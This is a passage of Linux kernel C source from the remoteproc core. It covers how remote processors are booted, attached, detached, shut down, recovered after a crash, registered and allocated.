if (entry->rsc_offset != FW_RSC_ADDR_ANY) {
/* update resource table */
rsc = (void *)rproc->table_ptr + entry->rsc_offset;
/*
* Some remote processors might need to know the pa
* even though they are behind an IOMMU. E.g., OMAP4's
* remote M3 processor needs this so it can control
* on-chip hardware accelerators that are not behind
* the IOMMU, and therefor must know the pa.
*
* Generally we don't want to expose physical addresses
* if we don't have to (remote processors are generally
* _not_ trusted), so we might want to do this only for
* remote processor that _must_ have this (e.g. OMAP4's
* dual M3 subsystem).
*
* Non-IOMMU processors might also want to have this info.
* In this case, the device address and the physical address
* are the same.
*/
/* Use va if defined else dma to generate pa */
if (entry->va)
pa = (u64)rproc_va_to_pa(entry->va);
else
pa = (u64)entry->dma;
if (((u64)pa) & HIGH_BITS_MASK)
dev_warn(dev,
"Physical address cast in 32bit to fit resource table format\n");
rsc->pa = (u32)pa;
rsc->da = entry->da;
rsc->len = entry->len;
}
}
return 0;
}
/**
* rproc_resource_cleanup() - clean up and free all acquired resources
* @rproc: rproc handle
*
* This function will free all resources acquired for @rproc, and it
* is called whenever @rproc either shuts down or fails to boot.
*/
void rproc_resource_cleanup(struct rproc *rproc)
{
struct rproc_mem_entry *entry, *tmp;
struct rproc_debug_trace *trace, *ttmp;
struct rproc_vdev *rvdev, *rvtmp;
struct device *dev = &rproc->dev;
/* clean up debugfs trace entries */
list_for_each_entry_safe(trace, ttmp, &rproc->traces, node) {
rproc_remove_trace_file(trace->tfile);
rproc->num_traces--;
list_del(&trace->node);
kfree(trace);
}
/* clean up iommu mapping entries */
list_for_each_entry_safe(entry, tmp, &rproc->mappings, node) {
size_t unmapped;
unmapped = iommu_unmap(rproc->domain, entry->da, entry->len);
if (unmapped != entry->len) {
/* nothing much to do besides complaining */
dev_err(dev, "failed to unmap %zx/%zu\n", entry->len,
unmapped);
}
list_del(&entry->node);
kfree(entry);
}
/* clean up carveout allocations */
list_for_each_entry_safe(entry, tmp, &rproc->carveouts, node) {
if (entry->release)
entry->release(rproc, entry);
list_del(&entry->node);
kfree(entry);
}
/* clean up remote vdev entries */
list_for_each_entry_safe(rvdev, rvtmp, &rproc->rvdevs, node)
kref_put(&rvdev->refcount, rproc_vdev_release);
rproc_coredump_cleanup(rproc);
}
EXPORT_SYMBOL(rproc_resource_cleanup);
static int rproc_start(struct rproc *rproc, const struct firmware *fw)
{
struct resource_table *loaded_table;
struct device *dev = &rproc->dev;
int ret;
/* load the ELF segments to memory */
ret = rproc_load_segments(rproc, fw);
if (ret) {
dev_err(dev, "Failed to load program segments: %d\n", ret);
return ret;
}
/*
* The starting device has been given the rproc->cached_table as the
* resource table. The address of the vring along with the other
* allocated resources (carveouts etc) is stored in cached_table.
* In order to pass this information to the remote device we must copy
* this information to device memory. We also update the table_ptr so
* that any subsequent changes will be applied to the loaded version.
*/
loaded_table = rproc_find_loaded_rsc_table(rproc, fw);
if (loaded_table) {
memcpy(loaded_table, rproc->cached_table, rproc->table_sz);
rproc->table_ptr = loaded_table;
}
ret = rproc_prepare_subdevices(rproc);
if (ret) {
dev_err(dev, "failed to prepare subdevices for %s: %d\n",
rproc->name, ret);
goto reset_table_ptr;
}
/* power up the remote processor */
ret = rproc->ops->start(rproc);
if (ret) {
dev_err(dev, "can't start rproc %s: %d\n", rproc->name, ret);
goto unprepare_subdevices;
}
/* Start any subdevices for the remote processor */
ret = rproc_start_subdevices(rproc);
if (ret) {
dev_err(dev, "failed to probe subdevices for %s: %d\n",
rproc->name, ret);
goto stop_rproc;
}
rproc->state = RPROC_RUNNING;
dev_info(dev, "remote processor %s is now up\n", rproc->name);
return 0;
stop_rproc:
rproc->ops->stop(rproc);
unprepare_subdevices:
rproc_unprepare_subdevices(rproc);
reset_table_ptr:
rproc->table_ptr = rproc->cached_table;
return ret;
}
static int __rproc_attach(struct rproc *rproc)
{
struct device *dev = &rproc->dev;
int ret;
ret = rproc_prepare_subdevices(rproc);
if (ret) {
dev_err(dev, "failed to prepare subdevices for %s: %d\n",
rproc->name, ret);
goto out;
}
/* Attach to the remote processor */
ret = rproc_attach_device(rproc);
if (ret) {
dev_err(dev, "can't attach to rproc %s: %d\n",
rproc->name, ret);
goto unprepare_subdevices;
}
/* Start any subdevices for the remote processor */
ret = rproc_start_subdevices(rproc);
if (ret) {
dev_err(dev, "failed to probe subdevices for %s: %d\n",
rproc->name, ret);
goto stop_rproc;
}
rproc->state = RPROC_ATTACHED;
dev_info(dev, "remote processor %s is now attached\n", rproc->name);
return 0;
stop_rproc:
rproc->ops->stop(rproc);
unprepare_subdevices:
rproc_unprepare_subdevices(rproc);
out:
return ret;
}
/*
* take a firmware and boot a remote processor with it.
*/
static int rproc_fw_boot(struct rproc *rproc, const struct firmware *fw)
{
struct device *dev = &rproc->dev;
const char *name = rproc->firmware;
int ret;
ret = rproc_fw_sanity_check(rproc, fw);
if (ret)
return ret;
dev_info(dev, "Booting fw image %s, size %zd\n", name, fw->size);
/*
* if enabling an IOMMU isn't relevant for this rproc, this is
* just a nop
*/
ret = rproc_enable_iommu(rproc);
if (ret) {
dev_err(dev, "can't enable iommu: %d\n", ret);
return ret;
}
/* Prepare rproc for firmware loading if needed */
ret = rproc_prepare_device(rproc);
if (ret) {
dev_err(dev, "can't prepare rproc %s: %d\n", rproc->name, ret);
goto disable_iommu;
}
rproc->bootaddr = rproc_get_boot_addr(rproc, fw);
/* Load resource table, core dump segment list etc from the firmware */
ret = rproc_parse_fw(rproc, fw);
if (ret)
goto unprepare_rproc;
/* reset max_notifyid */
rproc->max_notifyid = -1;
/* reset handled vdev */
rproc->nb_vdev = 0;
/* handle fw resources which are required to boot rproc */
ret = rproc_handle_resources(rproc, rproc_loading_handlers);
if (ret) {
dev_err(dev, "Failed to process resources: %d\n", ret);
goto clean_up_resources;
}
/* Allocate carveout resources associated to rproc */
ret = rproc_alloc_registered_carveouts(rproc);
if (ret) {
dev_err(dev, "Failed to allocate associated carveouts: %d\n",
ret);
goto clean_up_resources;
}
ret = rproc_start(rproc, fw);
if (ret)
goto clean_up_resources;
return 0;
clean_up_resources:
rproc_resource_cleanup(rproc);
kfree(rproc->cached_table);
rproc->cached_table = NULL;
rproc->table_ptr = NULL;
unprepare_rproc:
/* release HW resources if needed */
rproc_unprepare_device(rproc);
disable_iommu:
rproc_disable_iommu(rproc);
return ret;
}
static int rproc_set_rsc_table(struct rproc *rproc)
{
struct resource_table *table_ptr;
struct device *dev = &rproc->dev;
size_t table_sz;
int ret;
table_ptr = rproc_get_loaded_rsc_table(rproc, &table_sz);
if (!table_ptr) {
/* Not having a resource table is acceptable */
return 0;
}
if (IS_ERR(table_ptr)) {
ret = PTR_ERR(table_ptr);
dev_err(dev, "can't load resource table: %d\n", ret);
return ret;
}
/*
* If it is possible to detach the remote processor, keep an untouched
* copy of the resource table. That way we can start fresh again when
* the remote processor is re-attached, that is:
*
* DETACHED -> ATTACHED -> DETACHED -> ATTACHED
*
* Free'd in rproc_reset_rsc_table_on_detach() and
* rproc_reset_rsc_table_on_stop().
*/
if (rproc->ops->detach) {
rproc->clean_table = kmemdup(table_ptr, table_sz, GFP_KERNEL);
if (!rproc->clean_table)
return -ENOMEM;
} else {
rproc->clean_table = NULL;
}
rproc->cached_table = NULL;
rproc->table_ptr = table_ptr;
rproc->table_sz = table_sz;
return 0;
}
static int rproc_reset_rsc_table_on_detach(struct rproc *rproc)
{
struct resource_table *table_ptr;
/* A resource table was never retrieved, nothing to do here */
if (!rproc->table_ptr)
return 0;
/*
* If we made it to this point a clean_table _must_ have been
* allocated in rproc_set_rsc_table(). If one isn't present
* something went really wrong and we must complain.
*/
if (WARN_ON(!rproc->clean_table))
return -EINVAL;
/* Remember where the external entity installed the resource table */
table_ptr = rproc->table_ptr;
/*
* If we made it here the remote processor was started by another
* entity and a cache table doesn't exist. As such make a copy of
* the resource table currently used by the remote processor and
* use that for the rest of the shutdown process. The memory
* allocated here is free'd in rproc_detach().
*/
rproc->cached_table = kmemdup(rproc->table_ptr,
rproc->table_sz, GFP_KERNEL);
if (!rproc->cached_table)
return -ENOMEM;
/*
* Use a copy of the resource table for the remainder of the
* shutdown process.
*/
rproc->table_ptr = rproc->cached_table;
/*
* Reset the memory area where the firmware loaded the resource table
* to its original value. That way when we re-attach the remote
* processor the resource table is clean and ready to be used again.
*/
memcpy(table_ptr, rproc->clean_table, rproc->table_sz);
/*
* The clean resource table is no longer needed. Allocated in
* rproc_set_rsc_table().
*/
kfree(rproc->clean_table);
return 0;
}
static int rproc_reset_rsc_table_on_stop(struct rproc *rproc)
{
/* A resource table was never retrieved, nothing to do here */
if (!rproc->table_ptr)
return 0;
/*
* If a cache table exists the remote processor was started by
* the remoteproc core. That cache table should be used for
* the rest of the shutdown process.
*/
if (rproc->cached_table)
goto out;
/*
* If we made it here the remote processor was started by another
* entity and a cache table doesn't exist. As such make a copy of
* the resource table currently used by the remote processor and
* use that for the rest of the shutdown process. The memory
* allocated here is free'd in rproc_shutdown().
*/
rproc->cached_table = kmemdup(rproc->table_ptr,
rproc->table_sz, GFP_KERNEL);
if (!rproc->cached_table)
return -ENOMEM;
/*
* Since the remote processor is being switched off the clean table
* won't be needed. Allocated in rproc_set_rsc_table().
*/
kfree(rproc->clean_table);
out:
/*
* Use a copy of the resource table for the remainder of the
* shutdown process.
*/
rproc->table_ptr = rproc->cached_table;
return 0;
}
/*
* Attach to remote processor - similar to rproc_fw_boot() but without
* the steps that deal with the firmware image.
*/
static int rproc_attach(struct rproc *rproc)
{
struct device *dev = &rproc->dev;
int ret;
/*
* if enabling an IOMMU isn't relevant for this rproc, this is
* just a nop
*/
ret = rproc_enable_iommu(rproc);
if (ret) {
dev_err(dev, "can't enable iommu: %d\n", ret);
return ret;
}
/* Do anything that is needed to boot the remote processor */
ret = rproc_prepare_device(rproc);
if (ret) {
dev_err(dev, "can't prepare rproc %s: %d\n", rproc->name, ret);
goto disable_iommu;
}
ret = rproc_set_rsc_table(rproc);
if (ret) {
dev_err(dev, "can't load resource table: %d\n", ret);
goto unprepare_device;
}
/* reset max_notifyid */
rproc->max_notifyid = -1;
/* reset handled vdev */
rproc->nb_vdev = 0;
/*
* Handle firmware resources required to attach to a remote processor.
* Because we are attaching rather than booting the remote processor,
* we expect the platform driver to properly set rproc->table_ptr.
*/
ret = rproc_handle_resources(rproc, rproc_loading_handlers);
if (ret) {
dev_err(dev, "Failed to process resources: %d\n", ret);
goto unprepare_device;
}
/* Allocate carveout resources associated to rproc */
ret = rproc_alloc_registered_carveouts(rproc);
if (ret) {
dev_err(dev, "Failed to allocate associated carveouts: %d\n",
ret);
goto clean_up_resources;
}
ret = __rproc_attach(rproc);
if (ret)
goto clean_up_resources;
return 0;
clean_up_resources:
rproc_resource_cleanup(rproc);
unprepare_device:
/* release HW resources if needed */
rproc_unprepare_device(rproc);
disable_iommu:
rproc_disable_iommu(rproc);
return ret;
}
/*
* take a firmware and boot it up.
*
* Note: this function is called asynchronously upon registration of the
* remote processor (so we must wait until it completes before we try
* to unregister the device. one other option is just to use kref here,
* that might be cleaner).
*/
static void rproc_auto_boot_callback(const struct firmware *fw, void *context)
{
struct rproc *rproc = context;
rproc_boot(rproc);
release_firmware(fw);
}
static int rproc_trigger_auto_boot(struct rproc *rproc)
{
int ret;
/*
* Since the remote processor is in a detached state, it has already
* been booted by another entity. As such there is no point in waiting
* for a firmware image to be loaded, we can simply initiate the process
* of attaching to it immediately.
*/
if (rproc->state == RPROC_DETACHED)
return rproc_boot(rproc);
/*
* We're initiating an asynchronous firmware loading, so we can
* be built-in kernel code, without hanging the boot process.
*/
ret = request_firmware_nowait(THIS_MODULE, FW_ACTION_UEVENT,
rproc->firmware, &rproc->dev, GFP_KERNEL,
rproc, rproc_auto_boot_callback);
if (ret < 0)
dev_err(&rproc->dev, "request_firmware_nowait err: %d\n", ret);
return ret;
}
static int rproc_stop(struct rproc *rproc, bool crashed)
{
struct device *dev = &rproc->dev;
int ret;
/* No need to continue if a stop() operation has not been provided */
if (!rproc->ops->stop)
return -EINVAL;
/* Stop any subdevices for the remote processor */
rproc_stop_subdevices(rproc, crashed);
/* the installed resource table is no longer accessible */
ret = rproc_reset_rsc_table_on_stop(rproc);
if (ret) {
dev_err(dev, "can't reset resource table: %d\n", ret);
return ret;
}
/* power off the remote processor */
ret = rproc->ops->stop(rproc);
if (ret) {
dev_err(dev, "can't stop rproc: %d\n", ret);
return ret;
}
rproc_unprepare_subdevices(rproc);
rproc->state = RPROC_OFFLINE;
dev_info(dev, "stopped remote processor %s\n", rproc->name);
return 0;
}
/*
* __rproc_detach(): Does the opposite of __rproc_attach()
*/
static int __rproc_detach(struct rproc *rproc)
{
struct device *dev = &rproc->dev;
int ret;
/* No need to continue if a detach() operation has not been provided */
if (!rproc->ops->detach)
return -EINVAL;
/* Stop any subdevices for the remote processor */
rproc_stop_subdevices(rproc, false);
/* the installed resource table is no longer accessible */
ret = rproc_reset_rsc_table_on_detach(rproc);
if (ret) {
dev_err(dev, "can't reset resource table: %d\n", ret);
return ret;
}
/* Tell the remote processor the core isn't available anymore */
ret = rproc->ops->detach(rproc);
if (ret) {
dev_err(dev, "can't detach from rproc: %d\n", ret);
return ret;
}
rproc_unprepare_subdevices(rproc);
rproc->state = RPROC_DETACHED;
dev_info(dev, "detached remote processor %s\n", rproc->name);
return 0;
}
/**
* rproc_trigger_recovery() - recover a remoteproc
* @rproc: the remote processor
*
* The recovery is done by resetting all the virtio devices, that way all the
* rpmsg drivers will be reseted along with the remote processor making the
* remoteproc functional again.
*
* This function can sleep, so it cannot be called from atomic context.
*
* Return: 0 on success or a negative value upon failure
*/
int rproc_trigger_recovery(struct rproc *rproc)
{
const struct firmware *firmware_p;
struct device *dev = &rproc->dev;
int ret;
ret = mutex_lock_interruptible(&rproc->lock);
if (ret)
return ret;
/* State could have changed before we got the mutex */
if (rproc->state != RPROC_CRASHED)
goto unlock_mutex;
dev_err(dev, "recovering %s\n", rproc->name);
ret = rproc_stop(rproc, true);
if (ret)
goto unlock_mutex;
/* generate coredump */
rproc->ops->coredump(rproc);
/* load firmware */
ret = request_firmware(&firmware_p, rproc->firmware, dev);
if (ret < 0) {
dev_err(dev, "request_firmware failed: %d\n", ret);
goto unlock_mutex;
}
/* boot the remote processor up again */
ret = rproc_start(rproc, firmware_p);
release_firmware(firmware_p);
unlock_mutex:
mutex_unlock(&rproc->lock);
return ret;
}
/**
* rproc_crash_handler_work() - handle a crash
* @work: work treating the crash
*
* This function needs to handle everything related to a crash, like cpu
* registers and stack dump, information to help to debug the fatal error, etc.
*/
static void rproc_crash_handler_work(struct work_struct *work)
{
struct rproc *rproc = container_of(work, struct rproc, crash_handler);
struct device *dev = &rproc->dev;
dev_dbg(dev, "enter %s\n", __func__);
mutex_lock(&rproc->lock);
if (rproc->state == RPROC_CRASHED || rproc->state == RPROC_OFFLINE) {
/* handle only the first crash detected */
mutex_unlock(&rproc->lock);
return;
}
rproc->state = RPROC_CRASHED;
dev_err(dev, "handling crash #%u in %s\n", ++rproc->crash_cnt,
rproc->name);
mutex_unlock(&rproc->lock);
if (!rproc->recovery_disabled)
rproc_trigger_recovery(rproc);
pm_relax(rproc->dev.parent);
}
/**
* rproc_boot() - boot a remote processor
* @rproc: handle of a remote processor
*
* Boot a remote processor (i.e. load its firmware, power it on, ...).
*
* If the remote processor is already powered on, this function immediately
* returns (successfully).
*
* Return: 0 on success, and an appropriate error value otherwise
*/
int rproc_boot(struct rproc *rproc)
{
const struct firmware *firmware_p;
struct device *dev;
int ret;
if (!rproc) {
pr_err("invalid rproc handle\n");
return -EINVAL;
}
dev = &rproc->dev;
ret = mutex_lock_interruptible(&rproc->lock);
if (ret) {
dev_err(dev, "can't lock rproc %s: %d\n", rproc->name, ret);
return ret;
}
if (rproc->state == RPROC_DELETED) {
ret = -ENODEV;
dev_err(dev, "can't boot deleted rproc %s\n", rproc->name);
goto unlock_mutex;
}
/* skip the boot or attach process if rproc is already powered up */
if (atomic_inc_return(&rproc->power) > 1) {
ret = 0;
goto unlock_mutex;
}
if (rproc->state == RPROC_DETACHED) {
dev_info(dev, "attaching to %s\n", rproc->name);
ret = rproc_attach(rproc);
} else {
dev_info(dev, "powering up %s\n", rproc->name);
/* load firmware */
ret = request_firmware(&firmware_p, rproc->firmware, dev);
if (ret < 0) {
dev_err(dev, "request_firmware failed: %d\n", ret);
goto downref_rproc;
}
ret = rproc_fw_boot(rproc, firmware_p);
release_firmware(firmware_p);
}
downref_rproc:
if (ret)
atomic_dec(&rproc->power);
unlock_mutex:
mutex_unlock(&rproc->lock);
return ret;
}
EXPORT_SYMBOL(rproc_boot);
/**
* rproc_shutdown() - power off the remote processor
* @rproc: the remote processor
*
* Power off a remote processor (previously booted with rproc_boot()).
*
* In case @rproc is still being used by an additional user(s), then
* this function will just decrement the power refcount and exit,
* without really powering off the device.
*
* Every call to rproc_boot() must (eventually) be accompanied by a call
* to rproc_shutdown(). Calling rproc_shutdown() redundantly is a bug.
*
* Notes:
* - we're not decrementing the rproc's refcount, only the power refcount.
* which means that the @rproc handle stays valid even after rproc_shutdown()
* returns, and users can still use it with a subsequent rproc_boot(), if
* needed.
*/
void rproc_shutdown(struct rproc *rproc)
{
struct device *dev = &rproc->dev;
int ret;
ret = mutex_lock_interruptible(&rproc->lock);
if (ret) {
dev_err(dev, "can't lock rproc %s: %d\n", rproc->name, ret);
return;
}
/* if the remote proc is still needed, bail out */
if (!atomic_dec_and_test(&rproc->power))
goto out;
ret = rproc_stop(rproc, false);
if (ret) {
atomic_inc(&rproc->power);
goto out;
}
/* clean up all acquired resources */
rproc_resource_cleanup(rproc);
/* release HW resources if needed */
rproc_unprepare_device(rproc);
rproc_disable_iommu(rproc);
/* Free the copy of the resource table */
kfree(rproc->cached_table);
rproc->cached_table = NULL;
rproc->table_ptr = NULL;
out:
mutex_unlock(&rproc->lock);
}
EXPORT_SYMBOL(rproc_shutdown);
/**
* rproc_detach() - Detach the remote processor from the
* remoteproc core
*
* @rproc: the remote processor
*
* Detach a remote processor (previously attached to with rproc_attach()).
*
* In case @rproc is still being used by an additional user(s), then
* this function will just decrement the power refcount and exit,
* without disconnecting the device.
*
* Function rproc_detach() calls __rproc_detach() in order to let a remote
* processor know that services provided by the application processor are
* no longer available. From there it should be possible to remove the
* platform driver and even power cycle the application processor (if the HW
* supports it) without needing to switch off the remote processor.
*
* Return: 0 on success, and an appropriate error value otherwise
*/
int rproc_detach(struct rproc *rproc)
{
struct device *dev = &rproc->dev;
int ret;
ret = mutex_lock_interruptible(&rproc->lock);
if (ret) {
dev_err(dev, "can't lock rproc %s: %d\n", rproc->name, ret);
return ret;
}
/* if the remote proc is still needed, bail out */
if (!atomic_dec_and_test(&rproc->power)) {
ret = 0;
goto out;
}
ret = __rproc_detach(rproc);
if (ret) {
atomic_inc(&rproc->power);
goto out;
}
/* clean up all acquired resources */
rproc_resource_cleanup(rproc);
/* release HW resources if needed */
rproc_unprepare_device(rproc);
rproc_disable_iommu(rproc);
/* Free the copy of the resource table */
kfree(rproc->cached_table);
rproc->cached_table = NULL;
rproc->table_ptr = NULL;
out:
mutex_unlock(&rproc->lock);
return ret;
}
EXPORT_SYMBOL(rproc_detach);
/**
* rproc_get_by_phandle() - find a remote processor by phandle
* @phandle: phandle to the rproc
*
* Finds an rproc handle using the remote processor's phandle, and then
* return a handle to the rproc.
*
* This function increments the remote processor's refcount, so always
* use rproc_put() to decrement it back once rproc isn't needed anymore.
*
* Return: rproc handle on success, and NULL on failure
*/
#ifdef CONFIG_OF
struct rproc *rproc_get_by_phandle(phandle phandle)
{
struct rproc *rproc = NULL, *r;
struct device_node *np;
np = of_find_node_by_phandle(phandle);
if (!np)
return NULL;
rcu_read_lock();
list_for_each_entry_rcu(r, &rproc_list, node) {
if (r->dev.parent && r->dev.parent->of_node == np) {
/* prevent underlying implementation from being removed */
if (!try_module_get(r->dev.parent->driver->owner)) {
dev_err(&r->dev, "can't get owner\n");
break;
}
rproc = r;
get_device(&rproc->dev);
break;
}
}
rcu_read_unlock();
of_node_put(np);
return rproc;
}
#else
struct rproc *rproc_get_by_phandle(phandle phandle)
{
return NULL;
}
#endif
EXPORT_SYMBOL(rproc_get_by_phandle);
/**
* rproc_set_firmware() - assign a new firmware
* @rproc: rproc handle to which the new firmware is being assigned
* @fw_name: new firmware name to be assigned
*
* This function allows remoteproc drivers or clients to configure a custom
* firmware name that is different from the default name used during remoteproc
* registration. The function does not trigger a remote processor boot,
* only sets the firmware name used for a subsequent boot. This function
* should also be called only when the remote processor is offline.
*
* This allows either the userspace to configure a different name through
* sysfs or a kernel-level remoteproc or a remoteproc client driver to set
* a specific firmware when it is controlling the boot and shutdown of the
* remote processor.
*
* Return: 0 on success or a negative value upon failure
*/
int rproc_set_firmware(struct rproc *rproc, const char *fw_name)
{
struct device *dev;
int ret, len;
char *p;
if (!rproc || !fw_name)
return -EINVAL;
dev = rproc->dev.parent;
ret = mutex_lock_interruptible(&rproc->lock);
if (ret) {
dev_err(dev, "can't lock rproc %s: %d\n", rproc->name, ret);
return -EINVAL;
}
if (rproc->state != RPROC_OFFLINE) {
dev_err(dev, "can't change firmware while running\n");
ret = -EBUSY;
goto out;
}
len = strcspn(fw_name, "\n");
if (!len) {
dev_err(dev, "can't provide empty string for firmware name\n");
ret = -EINVAL;
goto out;
}
p = kstrndup(fw_name, len, GFP_KERNEL);
if (!p) {
ret = -ENOMEM;
goto out;
}
kfree_const(rproc->firmware);
rproc->firmware = p;
out:
mutex_unlock(&rproc->lock);
return ret;
}
EXPORT_SYMBOL(rproc_set_firmware);
static int rproc_validate(struct rproc *rproc)
{
switch (rproc->state) {
case RPROC_OFFLINE:
/*
* An offline processor without a start()
* function makes no sense.
*/
if (!rproc->ops->start)
return -EINVAL;
break;
case RPROC_DETACHED:
/*
* A remote processor in a detached state without an
* attach() function makes not sense.
*/
if (!rproc->ops->attach)
return -EINVAL;
/*
* When attaching to a remote processor the device memory
* is already available and as such there is no need to have a
* cached table.
*/
if (rproc->cached_table)
return -EINVAL;
break;
default:
/*
* When adding a remote processor, the state of the device
* can be offline or detached, nothing else.
*/
return -EINVAL;
}
return 0;
}
/**
* rproc_add() - register a remote processor
* @rproc: the remote processor handle to register
*
* Registers @rproc with the remoteproc framework, after it has been
* allocated with rproc_alloc().
*
* This is called by the platform-specific rproc implementation, whenever
* a new remote processor device is probed.
*
* Note: this function initiates an asynchronous firmware loading
* context, which will look for virtio devices supported by the rproc's
* firmware.
*
* If found, those virtio devices will be created and added, so as a result
* of registering this remote processor, additional virtio drivers might be
* probed.
*
* Return: 0 on success and an appropriate error code otherwise
*/
int rproc_add(struct rproc *rproc)
{
struct device *dev = &rproc->dev;
int ret;
ret = rproc_validate(rproc);
if (ret < 0)
return ret;
/* add char device for this remoteproc */
ret = rproc_char_device_add(rproc);
if (ret < 0)
return ret;
ret = device_add(dev);
if (ret < 0) {
put_device(dev);
goto rproc_remove_cdev;
}
dev_info(dev, "%s is available\n", rproc->name);
/* create debugfs entries */
rproc_create_debug_dir(rproc);
/* if rproc is marked always-on, request it to boot */
if (rproc->auto_boot) {
ret = rproc_trigger_auto_boot(rproc);
if (ret < 0)
goto rproc_remove_dev;
}
/* expose to rproc_get_by_phandle users */
mutex_lock(&rproc_list_mutex);
list_add_rcu(&rproc->node, &rproc_list);
mutex_unlock(&rproc_list_mutex);
return 0;
rproc_remove_dev:
rproc_delete_debug_dir(rproc);
device_del(dev);
rproc_remove_cdev:
rproc_char_device_remove(rproc);
return ret;
}
EXPORT_SYMBOL(rproc_add);
static void devm_rproc_remove(void *rproc)
{
rproc_del(rproc);
}
/**
* devm_rproc_add() - resource managed rproc_add()
* @dev: the underlying device
* @rproc: the remote processor handle to register
*
* This function performs like rproc_add() but the registered rproc device will
* automatically be removed on driver detach.
*
* Return: 0 on success, negative errno on failure
*/
int devm_rproc_add(struct device *dev, struct rproc *rproc)
{
int err;
err = rproc_add(rproc);
if (err)
return err;
return devm_add_action_or_reset(dev, devm_rproc_remove, rproc);
}
EXPORT_SYMBOL(devm_rproc_add);
/**
* rproc_type_release() - release a remote processor instance
* @dev: the rproc's device
*
* This function should _never_ be called directly.
*
* It will be called by the driver core when no one holds a valid pointer
* to @dev anymore.
*/
static void rproc_type_release(struct device *dev)
{
struct rproc *rproc = container_of(dev, struct rproc, dev);
dev_info(&rproc->dev, "releasing %s\n", rproc->name);
idr_destroy(&rproc->notifyids);
if (rproc->index >= 0)
ida_simple_remove(&rproc_dev_index, rproc->index);
kfree_const(rproc->firmware);
kfree_const(rproc->name);
kfree(rproc->ops);
kfree(rproc);
}
static const struct device_type rproc_type = {
.name = "remoteproc",
.release = rproc_type_release,
};
static int rproc_alloc_firmware(struct rproc *rproc,
const char *name, const char *firmware)
{
const char *p;
/*
* Allocate a firmware name if the caller gave us one to work
* with. Otherwise construct a new one using a default pattern.
*/
if (firmware)
p = kstrdup_const(firmware, GFP_KERNEL);
else
p = kasprintf(GFP_KERNEL, "rproc-%s-fw", name);
if (!p)
return -ENOMEM;
rproc->firmware = p;
return 0;
}
static int rproc_alloc_ops(struct rproc *rproc, const struct rproc_ops *ops)
{
rproc->ops = kmemdup(ops, sizeof(*ops), GFP_KERNEL);
if (!rproc->ops)
return -ENOMEM;
/* Default to rproc_coredump if no coredump function is specified */
if (!rproc->ops->coredump)
rproc->ops->coredump = rproc_coredump;
if (rproc->ops->load)
return 0;
/* Default to ELF loader if no load function is specified */
rproc->ops->load = rproc_elf_load_segments;
rproc->ops->parse_fw = rproc_elf_load_rsc_table;
rproc->ops->find_loaded_rsc_table = rproc_elf_find_loaded_rsc_table;
rproc->ops->sanity_check = rproc_elf_sanity_check;
rproc->ops->get_boot_addr = rproc_elf_get_boot_addr;
return 0;
}
/**
* rproc_alloc() - allocate a remote processor handle
* @dev: the underlying device
* @name: name of this remote processor
* @ops: platform-specific handlers (mainly start/stop)
* @firmware: name of firmware file to load, can be NULL
* @len: length of private data needed by the rproc driver (in bytes)
*
* Allocates a new remote processor handle, but does not register
* it yet. if @firmware is NULL, a default name is used.
*
* This function should be used by rproc implementations during initialization
* of the remote processor.
*
* After creating an rproc handle using this function, and when ready,
* implementations should then call rproc_add() to complete
* the registration of the remote processor.
*
* Note: _never_ directly deallocate @rproc, even if it was not registered
* yet. Instead, when you need to unroll rproc_alloc(), use rproc_free().
*
* Return: new rproc pointer on success, and NULL on failure
*/
struct rproc *rproc_alloc(struct device *dev, const char *name,
const struct rproc_ops *ops,
const char *firmware, int len)
{
struct rproc *rproc;
if (!dev || !name || !ops)
return NULL;
rproc = kzalloc(sizeof(struct rproc) + len, GFP_KERNEL);
if (!rproc)
return NULL;
rproc->priv = &rproc[1];
rproc->auto_boot = true;
rproc->elf_class = ELFCLASSNONE;
rproc->elf_machine = EM_NONE;
device_initialize(&rproc->dev);
rproc->dev.parent = dev;
rproc->dev.type = &rproc_type;
rproc->dev.class = &rproc_class;
rproc->dev.driver_data = rproc;
idr_init(&rproc->notifyids);
rproc->name = kstrdup_const(name, GFP_KERNEL);
if (!rproc->name)
goto put_device;
if (rproc_alloc_firmware(rproc, name, firmware))
goto put_device;
if (rproc_alloc_ops(rproc, ops))
goto put_device;
/* Assign a unique device index and name */
rproc->index = ida_simple_get(&rproc_dev_index, 0, 0, GFP_KERNEL);
if (rproc->index < 0) {
dev_err(dev, "ida_simple_get failed: %d\n", rproc->index);
goto put_device;
}
dev_set_name(&rproc->dev, "remoteproc%d", rproc->index);
atomic_set(&rproc->power, 0);
mutex_init(&rproc->lock);
INIT_LIST_HEAD(&rproc->carveouts);
INIT_LIST_HEAD(&rproc->mappings);
INIT_LIST_HEAD(&rproc->traces);
INIT_LIST_HEAD(&rproc->rvdevs);
INIT_LIST_HEAD(&rproc->subdevs);
INIT_LIST_HEAD(&rproc->dump_segments);
INIT_WORK(&rproc->crash_handler, rproc_crash_handler_work);
rproc->state = RPROC_OFFLINE;
return rproc;
put_device:
put_device(&rproc->dev);
return NULL;
}
EXPORT_SYMBOL(rproc_alloc);
/**
* rproc_free() - unroll rproc_alloc()
* @rproc: the remote processor handle
*
* This function decrements the rproc dev refcount.
*
* If no one holds any reference to rproc anymore, then its refcount would
* now drop to zero, and it would be freed.
*/
void rproc_free(struct rproc *rproc)
{
put_device(&rproc->dev);
}
EXPORT_SYMBOL(rproc_free);
/**
* rproc_put() - release rproc reference
* @rproc: the remote processor handle
*
* This function decrements the rproc dev refcount.
*
* If no one holds any reference to rproc anymore, then its refcount would
* now drop to zero, and it would be freed.
*/
void rproc_put(struct rproc *rproc)
{
module_put(rproc->dev.parent->driver->owner);
put_device(&rproc->dev);
}
EXPORT_SYMBOL(rproc_put);
/**
* rproc_del() - unregister a remote processor
* @rproc: rproc handle to unregister
*
* This function should be called when the platform specific rproc
* implementation decides to remove the rproc device. it should
* _only_ be called if a previous invocation of rproc_add()
* has completed successfully.
*
* After rproc_del() returns, @rproc isn't freed yet, because
* of the outstanding reference created by rproc_alloc. To decrement that
* one last refcount, one still needs to call rproc_free().
*
* Return: 0 on success and -EINVAL if @rproc isn't valid
*/
int rproc_del(struct rproc *rproc)
{
if (!rproc)
return -EINVAL;
/* TODO: make sure this works with rproc->power > 1 */
rproc_shutdown(rproc);
mutex_lock(&rproc->lock);
rproc->state = RPROC_DELETED;
mutex_unlock(&rproc->lock);
rproc_delete_debug_dir(rproc);
/* the rproc is downref'ed as soon as it's removed from the klist */
mutex_lock(&rproc_list_mutex);
list_del_rcu(&rproc->node);
mutex_unlock(&rproc_list_mutex);
/* Ensure that no readers of rproc_list are still active */
synchronize_rcu();
device_del(&rproc->dev);
rproc_char_device_remove(rproc);
return 0;
}
EXPORT_SYMBOL(rproc_del);
static void devm_rproc_free(struct device *dev, void *res)
